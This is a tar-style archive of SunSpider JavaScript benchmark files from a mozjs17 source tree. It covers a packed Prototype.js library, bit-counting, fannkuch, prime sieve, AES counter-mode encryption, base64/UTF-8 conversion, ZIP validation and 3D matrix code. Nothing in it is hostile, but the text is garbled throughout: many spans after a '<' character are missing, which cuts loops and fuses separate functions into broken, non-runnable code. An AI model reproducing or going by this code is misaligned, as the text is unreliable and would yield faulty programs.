*/*\'];f(6.m.1F==\'4j\'){1P.W(\'5Q-2g\',6.m.5H);f(6.E.7S)1P.W(\'7T\',\'7U\')}f(6.m.1P)1P.W.2n(1P,6.m.1P);G(d i=0;i<1P.t;i+=2)6.E.7V(1P[i],1P[i+1])},5J:7(){d 2F=6.E.2F;f(2F!=1)6.4r(6.E.2F)},4A:7(B){1j{c 6.E.7W(B)}1s(e){}},5M:7(){1j{c 4q(\'(\'+6.4A(\'X-7X\')+\')\')}1s(e){}},5R:7(){1j{c 4q(6.E.3F)}1s(e){6.3p(e)}},4r:7(2F){d C=M.3t.5L[2F];d E=6.E,2Z=6.5M();f(C==\'4t\'){1j{(6.m[\'2I\'+6.E.32]||6.m[\'2I\'+(6.3l()?\'81\':\'82\')]||T.2v)(E,2Z)}1s(e){6.3p(e)}f((6.4A(\'5Q-2g\')||\'\').I(/^1Y\\/7m/i))6.5R()}1j{(6.m[\'2I\'+C]||T.2v)(E,2Z);M.2W.3y(\'2I\'+C,6,E,2Z)}1s(e){6.3p(e)}f(C==\'4t\')6.E.5T=T.2v},3p:7(57){(6.m.5W||T.2v)(6,57);M.2W.3y(\'5W\',6,57)}});M.4C=1b.17();q.u(q.u(M.4C.v,M.3t.v),{1I:7(1w,1l,m){6.4x={3m:1w.3m?$(1w.3m):$(1w),3z:1w.3z?$(1w.3z):(1w.3m?1L:$(1w))};6.E=M.4w();6.4a(m);d 1B=6.m.1B||T.2v;6.m.1B=(7(E,U){6.5Y();1B(E,U)}).1d(6);6.26(1l)},5Y:7(){d 3A=6.3l()?6.4x.3m:6.4x.3z;d 3k=6.E.3F;f(!6.m.3q)3k=3k.2Q();f(3A){f(6.m.60){z 6.m.60(3A,3k)}1D{k.6h(3A,3k)}}f(6.3l()){f(6.1B)2Y(6.1B.1d(6),10)}}});M.61=1b.17();M.61.v=q.u(z M.44(),{1I:7(1w,1l,m){6.4a(m);6.1B=6.m.1B;6.1J=(6.m.1J||2);6.2s=(6.m.2s||1);6.4B={};6.1w=1w;6.1l=1l;6.22()},22:7(){6.m.1B=6.63.1d(6);6.2D()},7b:7(){6.4B.1B=1v;89(6.65);(6.1B||T.2v).2n(6,N)},63:7(26){f(6.m.2s){6.2s=(26.3F==6.64?6.2s*6.m.2s:1);6.64=26.3F}6.65=2Y(6.2D.1d(6),6.2s*6.1J*4z)},2D:7(){6.4B=z M.4C(6.1w,6.1l,6.m)}});7 $(){d P=[],4;G(d i=0;i<4V>\'+6.2t+\'\';c $A(1q.2z[0].2z[0].2z)}};d 1g=z q();1g.6W=1b.17();1g.6W.v=q.u(z 1e.1g(\'96\'),{2V:7(){6.1K.97(6.4)},2X:7(2h){2h.V((7(2j){6.4.1X.55(2j,6.4)}).1d(6))}});1g.5m=1b.17();1g.5m.v=q.u(z 1e.1g(\'99\'),{2V:7(){6.1K.56(6.4);6.1K.74(11)},2X:7(2h){2h.4m(Y).V((7(2j){6.4.55(2j,6.4.9a)}).1d(6))}});1g.7h=1b.17();1g.7h.v=q.u(z 1e.1g(\'9d\'),{2V:7(){6.1K.56(6.4);6.1K.74(6.4)},2X:7(2h){2h.V((7(2j){6.4.75(2j)}).1d(6))}});1g.76=1b.17();1g.76.v=q.u(z 1e.1g(\'9i\'),{2V:7(){6.1K.9m(6.4)},2X:7(2h){2h.V((7(2j){6.4.1X.55(2j,6.4.9t)}).1d(6))}});k.3S=1b.17();k.3S.v={1I:7(4){6.4=$(4)},2m:7(o){6.4.1f.3j(/\\s+/).1k(7(B){c B.t>0}).2m(o)},5c:7(1f){6.4.1f=1f},7k:7(5a){f(6.1M(5a))c;6.5c(6.1Z().3s(5a).1N(\' \'))},42:7(4c){f(!6.1M(4c))c;6.5c(6.1k(7(1f){c 1f!=4c}).1N(\' \'))},2C:7(){c 6.1Z().1N(\' \')}};q.u(k.3S.v,1p);d 5I={5i:7(){G(d i=0;i=0){2b=4.m[w];h=2b.h||2b.1Y}c[4.B,h]},5X:7(4){d h=[];G(d i=0;i<4.t;i++){d 2b=4.m[i];f(2b.87)h.W(2b.h||2b.1Y)}c[4.B,h]}};d $F=D.k.1x;1e.3D=7(){};1e.3D.v={1I:7(4,1J,1a){6.1J=1J;6.4=$(4);6.1a=1a;6.2K=6.1x();6.2A()},2A:7(){5Z(6.2D.1d(6),6.1J*4z)},2D:7(){d h=6.1x();f(6.2K!=h){6.1a(6.4,h);6.2K=h}}};D.k.3C=1b.17();D.k.3C.v=q.u(z 1e.3D(),{1x:7(){c D.k.1x(6.4)}});D.3C=1b.17();D.3C.v=q.u(z 1e.3D(),{1x:7(){c D.3a(6.4)}});1e.2c=7(){};1e.2c.v={1I:7(4,1a){6.4=$(4);6.1a=1a;6.2K=6.1x();f(6.4.1h.2w()==\'Q\')6.67();1D 6.2A(6.4)},4K:7(){d h=6.1x();f(6.2K!=h){6.1a(6.4,h);6.2K=h}},67:7(){d 12=D.2L(6.4);G(d i=0;i<12.t;i++)6.2A(12[i])},2A:7(4){f(4.2g){6c(4.2g.2w()){1r\'6g\':1r\'6i\':1o.3B(4,\'8j\',6.4K.1d(6));1y;1r\'6l\':1r\'1Y\':1r\'3J\':1r\'1k-6n\':1r\'1k-8t\':1o.3B(4,\'8u\',6.4K.1d(6));1y}}}};D.k.2c=1b.17();D.k.2c.v=q.u(z 1e.2c(),{1x:7(){c D.k.1x(6.4)}});D.2c=1b.17();D.2c.v=q.u(z 1e.2c(),{1x:7(){c D.3a(6.4)}});f(!1W.1o){d 1o=z q()}q.u(1o,{8C:8,8F:9,8H:13,8I:27,8J:37,8L:38,8O:39,8T:40,8X:46,4:7(C){c C.Z||C.91},95:7(C){c(((C.6X)&&(C.6X==1))||((C.6Z)&&(C.6Z==1)))},9b:7(C){c C.9e||(C.9f+(J.3R.2G||J.1c.2G))},9g:7(C){c C.9j||(C.9k+(J.3R.2O||J.1c.2O))},7b:7(C){f(C.7d){C.7d();C.9r()}1D{C.48=Y;C.9w=11}},9A:7(C,1h){d 4=1o.4(C);1H(4.1X&&(!4.1h||(4.1h.3Y()!=1h.3Y())))4=4.1X;c 4},1T:Y,5u:7(4,B,1V,1u){f(!6.1T)6.1T=[];f(4.5f){6.1T.W([4,B,1V,1u]);4.5f(B,1V,1u)}1D f(4.4i){6.1T.W([4,B,1V,1u]);4.4i(\'2I\'+B,1V)}},66:7(){f(!1o.1T)c;G(d i=0;i<1o.1T.t;i++){1o.5N.2n(6,1o.1T[i]);1o.1T[i][0]=1L}1o.1T=Y},3B:7(4,B,1V,1u){d 4=$(4);1u=1u||Y;f(B==\'5U\'&&(33.4u.I(/3x|3w|3u/)||4.4i))B=\'5K\';6.5u(4,B,1V,1u)},5N:7(4,B,1V,1u){d 4=$(4);1u=1u||Y;f(B==\'5U\'&&(33.4u.I(/3x|3w|3u/)||4.4k))B=\'5K\';f(4.5x){4.5x(B,1V,1u)}1D f(4.4k){1j{4.4k(\'2I\'+B,1V)}1s(e){}}}});f(33.4u.I(/\\88\\b/))1o.3B(1W,\'8a\',1o.66,Y);d 2d={6o:Y,4P:7(){6.6z=1W.8e||J.3R.2G||J.1c.2G||0;6.6F=1W.8g||J.3R.2O||J.1c.2O||0},6u:7(4){d 19=0,15=0;2q{19+=4.2O||0;15+=4.2G||0;4=4.1X}1H(4);c[15,19]},35:7(4){d 19=0,15=0;2q{19+=4.29||0;15+=4.2f||0;4=4.1Q}1H(4);c[15,19]},68:7(4){d 19=0,15=0;2q{19+=4.29||0;15+=4.2f||0;4=4.1Q;f(4){p=k.1R(4,\'14\');f(p==\'3T\'||p==\'2o\')1y}}1H(4);c[15,19]},1Q:7(4){f(4.1Q)c 4.1Q;f(4==J.1c)c 4;1H((4=4.1X)&&4!=J.1c)f(k.1R(4,\'14\')!=\'4G\')c 4;c J.1c},8o:7(4,x,y){f(6.6o)c 6.6r(4,x,y);6.3g=x;6.34=y;6.1t=6.35(4);c(y>=6.1t[1]&&y<6.1t[1]+4.2k&&x>=6.1t[0]&&x<6.1t[0]+4.2p)},6r:7(4,x,y){d 4S=6.6u(4);6.3g=x+4S[0]-6.6z;6.34=y+4S[1]-6.6F;6.1t=6.35(4);c(6.34>=6.1t[1]&&6.34<6.1t[1]+4.2k&&6.3g>=6.1t[0]&&6.3g<6.1t[0]+4.2p)},8E:7(3Z,4){f(!3Z)c 0;f(3Z==\'8G\')c((6.1t[1]+4.2k)-6.34)/4.2k;f(3Z==\'8K\')c((6.1t[0]+4.2p)-6.3g)/4.2p},77:7(O,Z){O=$(O);Z=$(Z);Z.l.14=\'2o\';d 2P=6.35(O);Z.l.1n=2P[1]+\'1m\';Z.l.18=2P[0]+\'1m\';Z.l.21=O.2p+\'1m\';Z.l.24=O.2k+\'1m\'},4e:7(4M){d 19=0,15=0;d 4=4M;2q{19+=4.29||0;15+=4.2f||0;f(4.1Q==J.1c)f(k.1R(4,\'14\')==\'2o\')1y}1H(4=4.1Q);4=4M;2q{19-=4.2O||0;15-=4.2G||0}1H(4=4.1X);c[15,19]},77:7(O,Z){d m=q.u({5l:11,5r:11,5B:11,5q:11,29:0,2f:0},N[2]||{});O=$(O);d p=2d.4e(O);Z=$(Z);d 2J=[0,0];d 3v=1L;f(k.1R(Z,\'14\')==\'2o\'){3v=2d.1Q(Z);2J=2d.4e(3v)}f(3v==J.1c){2J[0]-=J.1c.2f;2J[1]-=J.1c.29}f(m.5l)Z.l.18=(p[0]-2J[0]+m.2f)+\'1m\';f(m.5r)Z.l.1n=(p[1]-2J[1]+m.29)+\'1m\';f(m.5B)Z.l.21=O.2p+\'1m\';f(m.5q)Z.l.24=O.2k+\'1m\'},8b:7(4){4=$(4);f(4.l.14==\'2o\')c;2d.4P();d 2P=2d.68(4);d 1n=2P[1];d 18=2P[0];d 21=4.6m;d 24=4.6p;4.6P=18-3X(4.l.18||0);4.6I=1n-3X(4.l.1n||0);4.5k=4.l.21;4.7f=4.l.24;4.l.14=\'2o\';4.l.1n=1n+\'1m\';4.l.18=18+\'1m\';4.l.21=21+\'1m\';4.l.24=24+\'1m\'},8w:7(4){4=$(4);f(4.l.14==\'3T\')c;2d.4P();4.l.14=\'3T\';d 1n=3X(4.l.1n||0)-(4.6I||0);d 18=3X(4.l.18||0)-(4.6P||0);4.l.1n=1n+\'1m\';4.l.18=18+\'1m\';4.l.24=4.7f;4.l.21=4.5k}};f(/3x|3w|3u/.4v(33.62)){2d.35=7(4){d 19=0,15=0;2q{19+=4.29||0;15+=4.2f||0;f(4.1Q==J.1c)f(k.1R(4,\'14\')==\'2o\')1y;4=4.1Q}1H(4);c[15,19]}};', 62, 600, '||||element||this|function|||||return|var||if||value|||Element|style|options||iterator||Object|||length|extend|prototype|index|||new||name|event|Form|transport||for||match|document||result|Ajax|arguments|source|results|form|||Prototype|object|each|push||false|target||true|elements||position|valueL||create|left|valueT|callback|Class|body|bind|Abstract|className|Insertion|tagName|pair|try|select|url|px|top|Event|Enumerable|div|case|catch|offset|useCapture|undefined|container|getValue|break|replacement|pattern|onComplete|map|else|Array|method|property|while|initialize|frequency|range|null|include|join|key|requestHeaders|offsetParent|getStyle|parameter|observers|inspect|observer|window|parentNode|text|toArray|els|width|start|args|height|throw|request||parameters|offsetTop|methods|opt|EventObserver|Position|html|offsetLeft|type|fragments|typeof|fragment|offsetHeight|oStringList|_each|apply|absolute|offsetWidth|do|cache|decay|content|input|emptyFunction|toLowerCase|end|replace|childNodes|registerCallback|display|toString|onTimerEvent|Serializers|readyState|scrollLeft|exclusive|on|delta|lastValue|getElements|in|hash|scrollTop|offsets|stripScripts|iterable|truncation|gsub|template|initializeRange|Responders|insertContent|setTimeout|json||hidden|status|navigator|ycomp|cumulativeOffset|inject||||serialize|responders|_overflow|Methods|collect|adjacency|xcomp|innerHTML|count|split|response|responseIsSuccess|success|Template|responder|dispatchException|evalScripts|pluck|concat|Request|KHTML|parent|Safari|Konqueror|dispatch|failure|receiver|observe|Observer|TimedObserver|ScriptFragment|responseText|script|inputs|ancestor|textarea|classNames|ObjectRange|node|typeName|RegExp|camelize|none|documentElement|ClassNames|relative|right|overflow|HTMLElement|parseFloat|toUpperCase|mode||currentlyExecuting|remove|__method|Base|memo||slice|returnValue|continue|setOptions|String|classNameToRemove|_reverse|page|focus|queryComponent|Hash|attachEvent|post|detachEvent|Version|reverse|encodeURIComponent|disabled|asynchronous|eval|respondToReadyState|activeRequestCount|Complete|appVersion|test|getTransport|containers|matchingInputs|1000|header|updater|Updater|getElementsByTagName|child|responderToAdd|static|tagElements|queryComponents|defaultView|onElementEvent|css|forElement|values|visibility|prepare|mergedHash|pos|offsetcache|_madePositioned|visible|tbody|findOrStore|_nativeExtensions|createElement|digits|trues|found|prepareReplacement|before|camelizedString|insertBefore|selectNodeContents|exception|falses|criteria|classNameToAdd|params|set|destination|last|addEventListener|indexOf|inline|clear|succ|_originalWidth|setLeft|Top|ActiveXObject|scriptTag|matchOne|setHeight|setTop|without|responderToRemove|_observeAndCache|find|reset|removeEventListener|activate|findFirstElement|setRequestHeaders|setWidth|XMLHttpRequest|constructor|application|xml|onCreate|contentType|Field|onStateChange|keydown|Events|evalJSON|stopObserving|inputSelector|img|Content|evalResponse|selectOne|onreadystatechange|keypress|postBody|onException|selectMany|updateContent|setInterval|insertion|PeriodicalUpdater|userAgent|updateComplete|lastText|timer|unloadCache|registerFormCallbacks|positionedOffset|register|parentElement|children|switch|XMLHTTP|_extended|hide|checkbox|update|radio|these|outerHTML|password|clientWidth|one|includeScrollOffsets|clientHeight|nodeValue|withinIncludingScrolloffsets|Try|scrollTo|realOffset|getComputedStyle|show|currentStyle|auto|deltaX|originalPosition|originalVisibility|originalWidth|originalHeight|opera|deltaY|bottom|array|_originalTop|flatten|addMethods|lambda|Toggle|toggle|insertAdjacentHTML|_originalLeft|PeriodicalExecuter|ownerDocument|createRange|createContextualFragment|contentFromAnonymousTable|table|Before|which|matchAll|button|extractScripts|stripTags|pairString|len|collapse|appendChild|After|clone|toQueryParams|Pattern|evaluate|stop|stringValue|preventDefault|charAt|_originalHeight|substring|Bottom|pairs|Function|add|collections|javascript|detect|findAll|entries|from|first|compact|keys|merge|present|toQueryString|getInputs|Msxml2|Microsoft|unregister|disable|urlencoded|blur|300|enable|responseIsFailure|Uninitialized|Loaded|Interactive|_|get|focusFirstElement|open|send|Requested|With|Accept|overrideMimeType|Connection|close|setRequestHeader|getResponseHeader|JSON|gi|submit|Loading|Success|Failure|checked|200|selectedIndex|www|selected|bMSIE|clearTimeout|unload|absolutize|string|getElementById|pageXOffset|getElementsByClassName|pageYOffset|removeChild|replaceChild|click|getHeight|hasClassName|addClassName|removeClassName|within|cleanWhitespace|nodeType|empty|childOf|multiple|change|getPropertyValue|relativize|setStyle|getDimensions|makePositioned|undoPositioned|makeClipping|KEY_BACKSPACE|undoClipping|overlap|KEY_TAB|vertical|KEY_RETURN|KEY_ESC|KEY_LEFT|horizontal|KEY_UP|member|tr|KEY_RIGHT|0_RC_0|Number|instanceof|shift|KEY_DOWN|bindAsEventListener|call|toColorPart|KEY_DELETE|times|finally|callee|srcElement|sub|scan|truncate|isLeftClick|beforeBegin|setStartBefore|im|afterBegin|firstChild|pointerX|unescapeHTML|beforeEnd|pageX|clientX|pointerY|parseQuery|afterEnd|pageY|clientY|RangeError|setStartAfter|all|any|grep|invoke|stopPropagation|max|nextSibling|min|partition|cancelBubble|reject|sortBy|sort|findElement|zip|pop|createTextNode|escapeHTML|strip'.split('|'), 0, {}) } /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/bitops-3bit-bits-in-byte.js0000664000175000017500000000147312106270663025440 0ustar sstanglsstangl// Copyright (c) 2004 by Arthur Langereis (arthur_ext at domain xfinitegames, tld com // 1 op = 6 ANDs, 3 SHRs, 3 SHLs, 4 assigns, 2 ADDs // O(1) function fast3bitlookup(b) { var c, bi3b = 0xE994; // 0b1110 1001 1001 0100; // 3 2 2 1 2 1 1 0 c = 3 & (bi3b >> ((b << 1) & 14)); c += 3 & (bi3b >> ((b >> 2) & 14)); c += 3 & (bi3b >> ((b >> 5) & 6)); return c; /* lir4,0xE994; 9 instructions, no memory access, minimal register dependence, 6 shifts, 2 adds, 1 inline assign rlwinmr5,r3,1,28,30 rlwinmr6,r3,30,28,30 rlwinmr7,r3,27,29,30 rlwnmr8,r4,r5,30,31 rlwnmr9,r4,r6,30,31 rlwnmr10,r4,r7,30,31 addr3,r8,r9 addr3,r3,r10 */ } function TimeFunc(func) { var x, y, t; /* BEGIN LOOP */ for(var x=0; x<500; x++) { /* BEGIN LOOP */ for(var y=0; y<256; y++) func(y); /* END LOOP */ } /* END LOOP */ } TimeFunc(fast3bitlookup); mozjs17.0.0/js/src/metrics/jint/sunspider/access-fannkuch.js0000664000175000017500000000363712106270663024035 0ustar sstanglsstangl/* The Great Computer Language Shootout http://shootout.alioth.debian.org/ contributed by Isaac Gouy */ function fannkuch(n) { var check = 0; var perm = Array(n); var perm1 = Array(n); var count = Array(n); var maxPerm = Array(n); var maxFlipsCount = 0; var m = n - 1; /* BEGIN LOOP */ for (var i = 0; i < n; i++) perm1[i] = i; /* END LOOP */ var r = n; /* BEGIN LOOP */ while (true) { // write-out the first 30 permutations if (check < 30){ var s = ""; /* BEGIN LOOP */ for(var i=0; i> 1; /* BEGIN LOOP */ for (var i = 0; i < k2; i++) { var temp = perm[i]; perm[i] = perm[k - i]; perm[k - i] = temp; } /* END LOOP */ flipsCount++; } /* END LOOP */ if (flipsCount > maxFlipsCount) { maxFlipsCount = flipsCount; /* BEGIN LOOP */ for (var i = 0; i < n; i++) maxPerm[i] = perm1[i]; /* END LOOP */ } } /* BEGIN LOOP */ while (true) { if (r == n) return maxFlipsCount; var perm0 = perm1[0]; var i = 0; /* BEGIN LOOP */ while (i < r) { var j = i + 1; perm1[i] = perm1[j]; i = j; } /* END LOOP */ perm1[r] = perm0; count[r] = count[r] - 1; if (count[r] > 0) break; r++; } /* END LOOP */ } /* END LOOP */ } var n = 8; var ret = fannkuch(n); mozjs17.0.0/js/src/metrics/jint/sunspider/access-nsieve.js0000664000175000017500000000163512106270663023525 0ustar sstanglsstangl// The Great Computer Language Shootout // http://shootout.alioth.debian.org/ // // modified by Isaac Gouy function pad(number,width){ var s = number.toString(); var prefixWidth = width - s.length; if (prefixWidth>0){ /* BEGIN LOOP */ for (var i=1; i<=prefixWidth; i++) s = " " + s; /* END LOOP */ } return s; } function nsieve(m, isPrime){ var i, k, count; /* BEGIN LOOP */ for (i=2; i<=m; i++) { isPrime[i] = true; } /* END LOOP */ count = 0; /* BEGIN LOOP */ for (i=2; i<=m; i++){ if (isPrime[i]) { /* BEGIN LOOP */ for (k=i+i; k<=m; k+=i) isPrime[k] = false; /* END LOOP */ count++; } } /* END LOOP */ return count; } function sieve() { /* BEGIN LOOP */ for (var i = 1; i <= 3; i++ ) { var m = (1< 6 && i%Nk == 4) { temp = SubWord(temp); } /* BEGIN LOOP */ for (var t=0; t<4; t++) w[i][t] = w[i-Nk][t] ^ temp[t]; /* END LOOP */ } /* END LOOP */ return w; } function SubWord(w) { // apply SBox to 4-byte word w /* BEGIN LOOP */ for (var i=0; i<4; i++) w[i] = Sbox[w[i]]; /* END LOOP */ return w; } function RotWord(w) { // rotate 4-byte word w left by one byte w[4] = w[0]; /* BEGIN LOOP */ for (var i=0; i<4; i++) w[i] = w[i+1]; /* END LOOP */ return w; } // Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [§5.1.1] var Sbox = [0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]; // Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [§5.2] var Rcon = [ [0x00, 0x00, 0x00, 0x00], [0x01, 0x00, 0x00, 0x00], [0x02, 0x00, 0x00, 0x00], [0x04, 0x00, 0x00, 0x00], [0x08, 0x00, 0x00, 0x00], [0x10, 0x00, 0x00, 0x00], [0x20, 0x00, 0x00, 0x00], [0x40, 0x00, 0x00, 0x00], [0x80, 0x00, 0x00, 0x00], [0x1b, 0x00, 0x00, 0x00], [0x36, 0x00, 0x00, 0x00] ]; /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ /* * Use AES to encrypt 'plaintext' with 'password' using 'nBits' key, in 'Counter' mode of operation * - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf * for each block * - outputblock = cipher(counter, key) * - cipherblock = plaintext xor outputblock */ function AESEncryptCtr(plaintext, password, nBits) { if (!(nBits==128 || nBits==192 || nBits==256)) return ''; // standard allows 128/192/256 bit keys // for this example script, generate the key by applying Cipher to 1st 16/24/32 chars of password; // for real-world applications, a more secure approach would be to hash the password e.g. with SHA-1 var nBytes = nBits/8; // no bytes in key var pwBytes = new Array(nBytes); /* BEGIN LOOP */ for (var i=0; i>> i*8) & 0xff; /* END LOOP */ /* BEGIN LOOP */ for (var i=0; i<4; i++) counterBlock[i+4] = (nonce/0x100000000 >>> i*8) & 0xff; /* END LOOP */ // generate key schedule - an expansion of the key into distinct Key Rounds for each round var keySchedule = KeyExpansion(key); var blockCount = Math.ceil(plaintext.length/blockSize); var ciphertext = new Array(blockCount); // ciphertext as array of strings /* BEGIN LOOP */ for (var b=0; b>> c*8) & 0xff; /* END LOOP */ /* BEGIN LOOP */ for (var c=0; c<4; c++) counterBlock[15-c-4] = (b/0x100000000 >>> c*8) /* END LOOP */ var cipherCntr = Cipher(counterBlock, keySchedule); // -- encrypt counter block -- // calculate length of final block: var blockLength = b>> c*8) & 0xff; /* END LOOP */ /* BEGIN LOOP */ for (var c=0; c<4; c++) counterBlock[15-c-4] = ((b/0x100000000-1) >>> c*8) & 0xff; /* END LOOP */ var cipherCntr = Cipher(counterBlock, keySchedule); // encrypt counter block ciphertext[b] = unescCtrlChars(ciphertext[b]); var pt = ''; /* BEGIN LOOP */ for (var i=0; i>18 & 0x3f; h2 = bits>>12 & 0x3f; h3 = bits>>6 & 0x3f; h4 = bits & 0x3f; // end of string? index to '=' in b64 if (isNaN(o3)) h4 = 64; if (isNaN(o2)) h3 = 64; // use hexets to index into b64, and append result to encoded string enc += b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } while (i < str.length); /* END LOOP */ return enc; } function decodeBase64(str) { var o1, o2, o3, h1, h2, h3, h4, bits, i=0, enc=''; /* BEGIN LOOP */ do { // unpack four hexets into three octets using index points in b64 h1 = b64.indexOf(str.charAt(i++)); h2 = b64.indexOf(str.charAt(i++)); h3 = b64.indexOf(str.charAt(i++)); h4 = b64.indexOf(str.charAt(i++)); bits = h1<<18 | h2<<12 | h3<<6 | h4; o1 = bits>>16 & 0xff; o2 = bits>>8 & 0xff; o3 = bits & 0xff; if (h3 == 64) enc += String.fromCharCode(o1); else if (h4 == 64) enc += String.fromCharCode(o1, o2); else enc += String.fromCharCode(o1, o2, o3); } while (i < str.length); /* END LOOP */ return decodeUTF8(enc); // decode UTF-8 byte-array back to Unicode } function encodeUTF8(str) { // encode multi-byte string into utf-8 multiple single-byte characters str = str.replace( /[\u0080-\u07ff]/g, // U+0080 - U+07FF = 2-byte chars function(c) { var cc = c.charCodeAt(0); return String.fromCharCode(0xc0 | cc>>6, 0x80 | cc&0x3f); } ); str = str.replace( /[\u0800-\uffff]/g, // U+0800 - U+FFFF = 3-byte chars function(c) { var cc = c.charCodeAt(0); return String.fromCharCode(0xe0 | cc>>12, 0x80 | cc>>6&0x3F, 0x80 | cc&0x3f); } ); return str; } function decodeUTF8(str) { // decode utf-8 encoded string back into multi-byte characters str = str.replace( /[\u00c0-\u00df][\u0080-\u00bf]/g, // 2-byte chars function(c) { var cc = (c.charCodeAt(0)&0x1f)<<6 | c.charCodeAt(1)&0x3f; return String.fromCharCode(cc); } ); str = str.replace( /[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, // 3-byte chars function(c) { var cc = (c.charCodeAt(0)&0x0f)<<12 | (c.charCodeAt(1)&0x3f<<6) | c.charCodeAt(2)&0x3f; return String.fromCharCode(cc); } ); return str; } function byteArrayToHexStr(b) { // convert byte array to hex string for displaying test vectors var s = ''; /* BEGIN LOOP */ for (var i=0; i0) { if (n0) { if (n "9") { zipGood = false; r = zip + " contains letters."; addResult(r); } } /* END LOOP */ if (zipGood && zip.length>5) { zipGood = false; r = zip + " is longer than five characters."; addResult(r); } if (zipGood) { r = zip + " appears to be a valid ZIP code."; addResult(r); } } /* END LOOP */ } function makeName(n) { var tmp = ""; /* BEGIN LOOP */ for (var i=0;i= x1) { IncX1 = 1; IncX2 = 1; } else { IncX1 = -1; IncX2 = -1; } if (y2 >= y1) { IncY1 = 1; IncY2 = 1; } else { IncY1 = -1; IncY2 = -1; } if (dx >= dy) { IncX1 = 0; IncY2 = 0; Den = dx; Num = dx / 2; NumAdd = dy; NumPix = dx; } else { IncX2 = 0; IncY1 = 0; Den = dy; Num = dy / 2; NumAdd = dx; NumPix = dy; } NumPix = Math.round(Q.LastPx + NumPix); var i = Q.LastPx; /* BEGIN LOOP */ for (; i < NumPix; i++) { Num += NumAdd; if (Num >= Den) { Num -= Den; x += IncX1; y += IncY1; } x += IncX2; y += IncY2; } /* END LOOP */ Q.LastPx = NumPix; } function CalcCross(V0, V1) { var Cross = new Array(); Cross[0] = V0[1]*V1[2] - V0[2]*V1[1]; Cross[1] = V0[2]*V1[0] - V0[0]*V1[2]; Cross[2] = V0[0]*V1[1] - V0[1]*V1[0]; return Cross; } function CalcNormal(V0, V1, V2) { var A = new Array(); var B = new Array(); /* BEGIN LOOP */ for (var i = 0; i < 3; i++) { A[i] = V0[i] - V1[i]; B[i] = V2[i] - V1[i]; } /* END LOOP */ A = CalcCross(A, B); var Length = Math.sqrt(A[0]*A[0] + A[1]*A[1] + A[2]*A[2]); /* BEGIN LOOP */ for (var i = 0; i < 3; i++) A[i] = A[i] / Length; /* END LOOP */ A[3] = 1; return A; } function CreateP(X,Y,Z) { this.V = [X,Y,Z,1]; } // multiplies two matrices function MMulti(M1, M2) { var M = [[],[],[],[]]; var i = 0; var j = 0; /* BEGIN LOOP */ for (; i < 4; i++) { j = 0; /* BEGIN LOOP */ for (; j < 4; j++) M[i][j] = M1[i][0] * M2[0][j] + M1[i][1] * M2[1][j] + M1[i][2] * M2[2][j] + M1[i][3] * M2[3][j]; /* END LOOP */ } /* END LOOP */ return M; } //multiplies matrix with vector function VMulti(M, V) { var Vect = new Array(); var i = 0; /* BEGIN LOOP */ for (;i < 4; i++) Vect[i] = M[i][0] * V[0] + M[i][1] * V[1] + M[i][2] * V[2] + M[i][3] * V[3]; /* END LOOP */ return Vect; } function VMulti2(M, V) { var Vect = new Array(); var i = 0; /* BEGIN LOOP */ for (;i < 3; i++) Vect[i] = M[i][0] * V[0] + M[i][1] * V[1] + M[i][2] * V[2]; /* END LOOP */ return Vect; } // add to matrices function MAdd(M1, M2) { var M = [[],[],[],[]]; var i = 0; var j = 0; /* BEGIN LOOP */ for (; i < 4; i++) { j = 0; /* BEGIN LOOP */ for (; j < 4; j++) M[i][j] = M1[i][j] + M2[i][j]; /* END LOOP */ } /* END LOOP */ return M; } function Translate(M, Dx, Dy, Dz) { var T = [ [1,0,0,Dx], [0,1,0,Dy], [0,0,1,Dz], [0,0,0,1] ]; return MMulti(T, M); } function RotateX(M, Phi) { var a = Phi; a *= Math.PI / 180; var Cos = Math.cos(a); var Sin = Math.sin(a); var R = [ [1,0,0,0], 